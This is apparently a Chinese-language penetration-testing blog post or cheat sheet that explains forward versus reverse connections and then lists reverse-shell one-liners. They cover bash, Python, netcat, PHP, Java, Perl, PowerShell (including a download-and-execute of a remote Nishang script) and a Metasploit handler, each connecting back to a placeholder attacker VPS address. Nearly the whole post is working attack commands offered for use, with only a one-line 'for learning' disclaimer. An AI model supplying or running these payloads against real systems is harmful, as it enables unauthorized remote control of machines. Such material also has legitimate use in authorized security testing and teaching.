0x01 正反向连接

  • 在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。
  • 正向连接:由我们本机取连接目标机器,如ssh,mstsc。
  • 反向连接:有目标机器连接我们的机器。
  • 反向连接原因:目标处于局域网中,我们正向连接不到,目标的ip是动态的,目标存在防火墙。

0x02 常见方式

1、bash(最常见的一种)

vps监听
nc -lvvp 4444

目标Linux运行
bash -i >& /dev/tcp/vps的ip/4444 0>&1
当然你还可以这样
exec 5<>/dev/tcp/vps的ip/4444;cat <&5|while read line;do $line >&5 2>&1;done

2、Python

vps还是监听
nc -lvvp 4444

目标Linux执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps的ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#这个payload是反向连接并且只支持Linux

3、nc,如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听
nc -lvvp 4444

目标机器执行
nc vps的ip 4444 -t -e /bin/bash

这样会把目标机的/bin/bash反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

4、php

攻击机监听
nc -lvvp 4444

要求目标机器有php然后执行
php -r '$sock=fsockopen("vps的ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个Linux和Windows两用的脚本

5、Java

攻击机监听
nc -lvvp 4444

目标执行
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/vps的ip/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

6、perl 脚本反弹

攻击机监听
nc -lvvp 4444

目标执行
perl -e 'use Socket;$i="vps的ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

7、powershell

攻击机监听
nc -lvvp 4444

目标执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress vps的ip -port 4444

8、msf反弹一句话

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST vps的ip
set LPORT 4444
set ExitOnSession false
exploit -j -z

注:文章只用于学习交流!

发表评论